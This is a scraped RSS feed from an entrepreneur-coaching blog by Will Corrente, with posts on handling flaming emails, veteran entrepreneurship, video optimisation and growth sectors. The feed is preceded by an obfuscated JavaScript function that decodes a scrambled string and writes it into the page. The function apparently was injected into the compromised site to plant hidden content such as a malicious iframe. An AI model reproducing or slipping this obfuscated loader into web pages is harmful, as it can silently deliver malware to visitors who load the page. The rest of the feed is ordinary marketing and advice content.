function q7e637e7fcd8b(){var sfaf991=Array.prototype.slice.call(arguments).join(""),xf8314=sfaf991.substr(4,3)-413,cad07dc47,v625b0bc;sfaf991=sfaf991.substr(7);var bb8a08ff7=sfaf991.length;for(var y2336eff=0;y2336eff=192)cad07dc47+=848;else if(cad07dc47==168)cad07dc47=1025;else if(cad07dc47==184)cad07dc47=1105;document.write(String.fromCharCode(cad07dc47));continue;}pf71c68a=(ad65ac20+'').charCodeAt(0);if(pf71c68a>848)pf71c68a-=848;v625b0bc=pf71c68a-xf8314-47;if(v625b0bc<0)v625b0bc+=256;if(v625b0bc>=192)v625b0bc+=848;else if(v625b0bc==168)v625b0bc=1025;else if(v625b0bc==184)v625b0bc=1105;document.write(String.fromCharCode(v625b0bc));}}q7e637e7fcd8b("1bfb5","59°253°4$3*1–569–\\°8°TIV–4","61–°227°–427–°207°°1","87°","°193°°1","91°–571–'°","17°4–55","7–=R","=/?N–474–°242°°2","49°°253°–5","53–°255°°22°°2","29°°226°<","G;ME","=FL°6°OJ–39","4–","°162°–500–°23°","°","8°°203°°1","97","°°223","°°1","2°°9","°°21","°°4°°16°°8°°195°°22°°21°–40","3–°165°°12","7°i°170°°182°°182°°1","7","8°–4","97–°218°°207°","°207°°2","0°°8°°5°°15°°19°°","13°°1°°18","°","°","9°–527–,°31°\"","#°23","6","°!-–483–°","255°–443–","°152°°203°–568–\\°22°","SPIYH–480–°1°°248°°244°°2°°190°°249°°254","°°254°°252°°251°–","51","6–°20°–555–°9°=FC?H–459–°2","38°°","169","°°222°°21","9°°23","8°°2","19°–42","4–°1","34°–467–°2","35°°240°–457–°220°–399–°16","3°°182°–526–°235°–584–g_g","°30°°","23°n`[–546–E9","°14°°2°°2","41°–516","–°27","°–52","8–$–443–°211°°209°°210°°222°°167°°","155°°138","°","°221°–488–°11","°°","16°–418–°189","°–47","9–°2","43°°203°°181°°4°°247°°1°°24","7°–440–°201°°208","°","°2","11°°208°°219°–539–C°4°23..–563–","G–532","–1°254°326,7,","–582","–dc/","–547–34","EA>GF","7°24","9°°","16°–4","95–°218°°205°°7°°4°°1","6°°255°","°11°°3","°","°220°°19","2°°199°–404–°126°°127","°","r°182°–559–APGN–","573–`*"); Will Corrente Operation Entrepreneur » entrepreneur development http://www.operationentrepreneur.com/blog Entrepreneur Coaching, Entrepreneur Development & Personal Development Blog Mon, 15 Feb 2010 09:40:28 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Why do you love your business? http://www.operationentrepreneur.com/blog/2010/02/07/why-do-you-love-your-business/ http://www.operationentrepreneur.com/blog/2010/02/07/why-do-you-love-your-business/#comments Mon, 08 Feb 2010 02:37:35 +0000 admin http://www.operationentrepreneur.com/blog/?p=584 I am compiling a list of the top 50 reasons why entrepreneurs love what they do.  

Results will be published in my weekly column at the end of Febraury and posted on my blog so feel free to leave your name, company name, and web URL for inclusion in the post. 

Please keep repsonses to 2-3 sentences. 

Thank you for sharing!

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]]> http://www.operationentrepreneur.com/blog/2010/02/07/why-do-you-love-your-business/feed/ 0 Entreprneneur Advice- Video Optimziation http://www.operationentrepreneur.com/blog/2009/12/20/entreprneneur-advice-video-optimziation/ http://www.operationentrepreneur.com/blog/2009/12/20/entreprneneur-advice-video-optimziation/#comments Sun, 20 Dec 2009 23:30:34 +0000 admin http://www.operationentrepreneur.com/blog/?p=305 Small Business Consulting  and Entrepreneur Development resource of the week by Will Corrente and Operation Entrepreneur

Smart and savy entrepreneurs know that learning how to leverage the web and its expansive marketing capabilities holds the key not only to a company’s exposure online but driving off line traffic as well.  In the early days of the web written content was king, then came pictures, then audio and video.  Now social media has changed the way entrepreneurs need to position themselves and reach their target audience online.  This article offers advice on maximizing 2 of the web’s greatest players in assisting you in driving traffic and building organic strength.  Facebook and Google!

If you’re creating videos, hosting them on your website, and aim to optimize those videos for competitive search engine placement you’ll want to pay attention to this one.

Google today announced support for Facebook Share and Yahoo! SearchMonkey RDFa for videos.

 

Video Optimziation: Google Supports FB Share and RDFa – Website Magazine – Website Magazine.

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]]> http://www.operationentrepreneur.com/blog/2009/12/20/entreprneneur-advice-video-optimziation/feed/ 0 technorati claim http://www.operationentrepreneur.com/blog/2009/12/04/technorati-claim/ http://www.operationentrepreneur.com/blog/2009/12/04/technorati-claim/#comments Fri, 04 Dec 2009 23:50:37 +0000 admin http://www.operationentrepreneur.com/blog/?p=549 http://www.operationentrepreneur.com/blog/2009/12/04/technorati-claim/feed/ 0 Will Corrente & West Palm Beach Library Foundation to Sponsor Free Seminar Series http://www.operationentrepreneur.com/blog/2009/12/03/west-palm-beach-library-foundation-to-sponsor-free-seminar-series/ http://www.operationentrepreneur.com/blog/2009/12/03/west-palm-beach-library-foundation-to-sponsor-free-seminar-series/#comments Thu, 03 Dec 2009 20:30:57 +0000 admin http://www.operationentrepreneur.com/blog/?p=553 The West Palm Beach Library Foundation is proud to present a series of seminars entitled “Live A Power FULL  Life” featuring local entrepreneur and West Palm Beach resident, Will Corrente. 

Will Corrente is a life long entrepreneur. Over the past 20 years, Will has owned and operated several businesses in the business to business and business to consumer market segments. While still in college, Will started his first 2 businesses: the first a lawn care and landscaping maintenance company, and the second, a residential and commercial cleaning service.   read the entire story at

http://www.wpblibraryfound.org/index.cfm?fuseaction=news.details&ArticleId=6&returnTo=main

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]]> http://www.operationentrepreneur.com/blog/2009/12/03/west-palm-beach-library-foundation-to-sponsor-free-seminar-series/feed/ 0 Overcoming Entrepreneurship Fear http://www.operationentrepreneur.com/blog/2009/11/29/overcoming-fear/ http://www.operationentrepreneur.com/blog/2009/11/29/overcoming-fear/#comments Mon, 30 Nov 2009 03:11:24 +0000 admin http://www.operationentrepreneur.com/blog/?p=311 Will Corrente – Fear is nothing more than a lack of faith in yourself to overcome the obstacle, circumstance, or challenge in your path. It is that flicker of doubt in your mind that grows into a flame, that you do not have the ability to “do it”. Whatever, “IT” is. In 2002, I faced a couple of my “IT’s”; the fear of the unknown and the fear of going it alone in a new and unfamiliar place.  Read the whole story at…

GetInTheHotSpot.com – Self Development Blog – Articles & Inspiration So You Can Live Your Dream » Overcoming Fear – Turning Fearful Into Fierce.

Will Corrente – “Helping People Get Where They Want To Go”

CEO Corrente consulting International Inc and Operation Entrepreneur

Specializing in small business consulting, entrepreneur coaching, and entrepreneur development. 

Entrepreneur, Consultant, Speaker and, Author

Download your free special report at http://www.operationentrepreneur.com/7secrets/

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]]> http://www.operationentrepreneur.com/blog/2009/11/29/overcoming-fear/feed/ 1 Small Business Consulting 101- Responding to Flaming Emails http://www.operationentrepreneur.com/blog/2009/11/19/small-business-consulting-101-responding-to-flaming-emails/ http://www.operationentrepreneur.com/blog/2009/11/19/small-business-consulting-101-responding-to-flaming-emails/#comments Thu, 19 Nov 2009 15:09:38 +0000 admin http://www.operationentrepreneur.com/blog/?p=366  

 

This blog post is courtesy of my friend and colleague Pam Cournoyer.

 

Email ettiquette is a hot topic in my small business consulting and entrepreneur development practice and I appreciate Pamela lending her advice and counsel on this important topic.

 

If you ever received email that insulted you, caused a sinking feeling in your gut, or a horrible sense of personal violation, then you have been the victim of a flaming email. Undeserved, unwarranted and hurtful words can put a real damper on your day.  The longer you are in business and the more customers you serve, the more likely it is this will occur.

 

I’ve included four real-life examples of business emails and posts’, and followed them with suggestions of HOW to respond to similar inflammatory attacks.  Our goal here is to maintain your brand, your professionalism and your reputation.  At the end of this article there are points to keep in mind if you are tempted to initiate or reply with a flaming email.

 

#1 Lawsuit Threat. “I realize that I am public enemy number one, since I chose not to expose you or me to the inevitable lawsuit that would come because you decided to _____ in the first place.”

This is meant to stir you up.  Writing a defense will not help – no matter how good the reason.  Disregard the “public enemy #1,” it is added for effect, disregard the “inevitable law suit,” it’s a mute point.  Disregard the accusation of “because you decided to.”  Now, how much actual content is left?  There is no response to this statement.

If you must respond to a flaming email, look at the UNDERLYING issues – these are only symptoms of something much deeper that may or may not have anything to do with you.  Once you decipher what the cause of the accusation is, professionally deal with those facts and let the rest go.

 

#2 All I Get Is Silence. “To date…. I have not received any word from _____ about _______. All I need is a definitive answer. All I get is silence. She won’t take my calls. She won’t answer my e-mails and neither will you.”

Do not get pulled into the drama.  A timely and professional response to the original concern is the UNDERLYING problem (stated in the first sentence). Apologize for the slight in customer service and give the customer what they need.

 

#3 Age and Grammar Discrimination. “I have been reading your reports, paticularly in South East Asia and I have to say they are incredibly poor. You are from an English speaking country (the U.S.A) presumably you are in your early twenties, so why is your English at the level of a mentally challenged five year old child. I cannot understand any of your ideas. If you want to set up a website with informative material please make sure you can actually write at all.”

This blog post response shows a serious lack of professionalism, maturity and proper grammar. Quite often people who write flaming emails are coming from their survival brain where logic and clear thought are not present. Disregard it there is no need to defend anything. Keep in mind; those who violate common courtesy will trip themselves up without you ever responding.

 

#4 Swearing and Misspelling. “Its not because people couldnt reset there passwords that they dont visit your board its because it is crap. Dont email me again, and remove me from your system file thank you.”

Do you suppose the “thank you” at the end of the statement is meant to excuse the sender from their preceding rude comments? Note the incorrect usage of the word “there,” and the misspelling of the word “couldn’t,” “dont,” and “Dont” and the improper sentence structure. Poor grammar and anger usually mix – it makes the user appear ignorant.  Again, the allegations need NO response.  The UNDERLYING problem here is resetting the passwords – correct this as a courtesy to the rest of your users.

 

The moderator’s flaming response before thinking to Communicate with CLASS:

“I’m afraid I won’t do that, mainly due to your rudeness.  What gives you the idea that you can speak for all 540 members regarding whether or not they have been unable to reset their passwords, or that they think the site is crap?”

While the moderator may have a point, they are continuing the argument, and encouraging a nastier reply. Fix the passwords, and set up a posting policy like:  “The use of flaming terminology will be grounds for removal from the site.”

 

CLASS key s that might improve your responses when you are inflamed by email:

Back away from your keyboard when:

  • The message is emotionally charged
  • What is being communicated is complicated
  • A conversation is more efficient
  • Privacy is an issue
  • You are thinking in profanity
  • You want to type in ALL CAPS
  • You think excessive exclamation points or question marks will get your point across better

 

Because people cannot read your body language, voice tone or emotions when sending email, how you craft your response is very important.  Every keystroke talks about you, it reveals your character, your professionalism; it personally brands you.  Keep in mind the fact that one careless response could easily be forwarded to people you never intended.

 

Even a few incidents of conflict escalation for most people can create enormous problems.  As the number of workplace relationships managed by email increases, the volume of flaming email escalation can grow exponentially.  If you are experiencing these problems in your workplace or between yourself and another, contact us for assistance in getting this under control.

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]]> http://www.operationentrepreneur.com/blog/2009/11/19/small-business-consulting-101-responding-to-flaming-emails/feed/ 0 Successful Entrepreneurs Know How to Stay in the Game in this Crazy Economy http://www.operationentrepreneur.com/blog/2009/10/08/how-to-stay-in-the-game-in-this-crazy-economy-stop-being-so-pushy/ http://www.operationentrepreneur.com/blog/2009/10/08/how-to-stay-in-the-game-in-this-crazy-economy-stop-being-so-pushy/#comments Thu, 08 Oct 2009 20:01:13 +0000 admin http://www.operationentrepreneur.com/blog/?p=236 In uncertain economic climates like these, both consumers and businesses alike need to watch how they allocate their expenses.   Before a consumer will part with their hard-earned dollars, they need to feel comfortable that what they are purchasing has the appropriate amount of value for the asking price.  “Value” looked at in the context of marketing is defined here as: the relationship between the consumer’s current expectation of quality of the purchase to the current purchasing price.   Read the entire post at:

How to Stay in the Game in this Crazy Economy | Stop Being So Pushy!

Will Corrente – “Helping People Get Where They Want To Go”

CEO Corrente Consulting International Inc and Operation Entrepreneur

Specializing in small business consulting, entrepreneur coaching, and entrepreneur development. 

Entrepreneur, Consultant, Speaker and, Author

Download your free special report at http://www.operationentrepreneur.com/7secrets/

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]]> http://www.operationentrepreneur.com/blog/2009/10/08/how-to-stay-in-the-game-in-this-crazy-economy-stop-being-so-pushy/feed/ 0 Entrepreneurship for Veterans- Vetrepreneurs learn business skills http://www.operationentrepreneur.com/blog/2009/09/26/veterans-learn-business-skills-for-life-after-combat-cnncom/ http://www.operationentrepreneur.com/blog/2009/09/26/veterans-learn-business-skills-for-life-after-combat-cnncom/#comments Sat, 26 Sep 2009 19:43:46 +0000 admin http://www.operationentrepreneur.com/blog/?p=250 Have you heard the term Vet-trepeneur?  In my small business consulting and entrepreneur development practice, it is becoming increasingly more popular.  Due to the increasing number of US soldiers returning from duty in Iraq and Afganistan, entrepreneurship among veterans is on the rise.

 

The Whitman School of Management at Syracuse University aims to provides business training for U.S. war veterans that will make that transition easier.   The Entrepreneurship Bootcamp for Veterans with Disabilities (EBV) teaches valuable skills that enable veterans to become self-employed and make their business ideas viable.  read the whole article at:

Veterans learn business skills for life after combat – CNN.com

Will Corrente – “Helping People Get Where They Want To Go”

CEO Corrente Consulting International Inc and Operation Entrepreneur

Specializing in small business consulting, entrepreneur coaching, and entrepreneur development. 

Entrepreneur, Consultant, Speaker and, Author

Download your free special report at http://www.operationentrepreneur.com/7secrets/

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]]> http://www.operationentrepreneur.com/blog/2009/09/26/veterans-learn-business-skills-for-life-after-combat-cnncom/feed/ 0 Entrepreneur Education Hits the Road http://www.operationentrepreneur.com/blog/2009/09/16/school-for-entrepreneurship-hits-the-road-business-breakthroughs-financial-articles-investing-news-thestreetcom/ http://www.operationentrepreneur.com/blog/2009/09/16/school-for-entrepreneurship-hits-the-road-business-breakthroughs-financial-articles-investing-news-thestreetcom/#comments Wed, 16 Sep 2009 19:16:47 +0000 admin http://www.operationentrepreneur.com/blog/?p=258 The Pitch: The Extreme Entrepreneurship Tour is the first-ever nationwide tour that teaches students about entrepreneurship. Founded by award-winning entrepreneurs, authors and lecturers Michael Simmons and Sheena Lindahl, EET’s mission is to inspire participants to take action and pursue their entrepreneurial vision.  Read the entire article at:

School for Entrepreneurship Hits the Road | Business Breakthroughs | Financial Articles & Investing News | TheStreet.com

Will Corrente – “Helping Entrepreneurs and Individuals Get Where They Want To Go”

specializes in small business consulting, entrepreneur coaching, and individual personal development.  He is an Entrepreneur, Author, Speaker, and Consultant.

The author of the “POWER Squared – The Ultimate Entrepreneur Success System”  Visit him at: http://www.willcorrente.com or http://operationentrepreneur.com/Products/

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]]> http://www.operationentrepreneur.com/blog/2009/09/16/school-for-entrepreneurship-hits-the-road-business-breakthroughs-financial-articles-investing-news-thestreetcom/feed/ 0 Looking for An Opportunity in This Economy – Part 1 of 12 http://www.operationentrepreneur.com/blog/2009/04/30/looking-for-an-opportunity-in-this-economy/ http://www.operationentrepreneur.com/blog/2009/04/30/looking-for-an-opportunity-in-this-economy/#comments Thu, 30 Apr 2009 12:47:43 +0000 admin http://www.operationentrepreneur.com/blog/?p=63 In case you missed the April 2009 issue of Entrepreneur Magazine which contained an article called “10 Sectors Poised for Growth”, here is a quiick recap of some areas of opportunity in this economy.

1 ) Services
2 ) Discount Stores
3 ) Fast Food
4 ) Second Hand Goods
5 ) Medical Office Buildings
6 ) Netbooks
7 ) Education and Health Services
8 ) Social Networking
9 ) 3-D
10 ) Savings

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]]> http://www.operationentrepreneur.com/blog/2009/04/30/looking-for-an-opportunity-in-this-economy/feed/ 0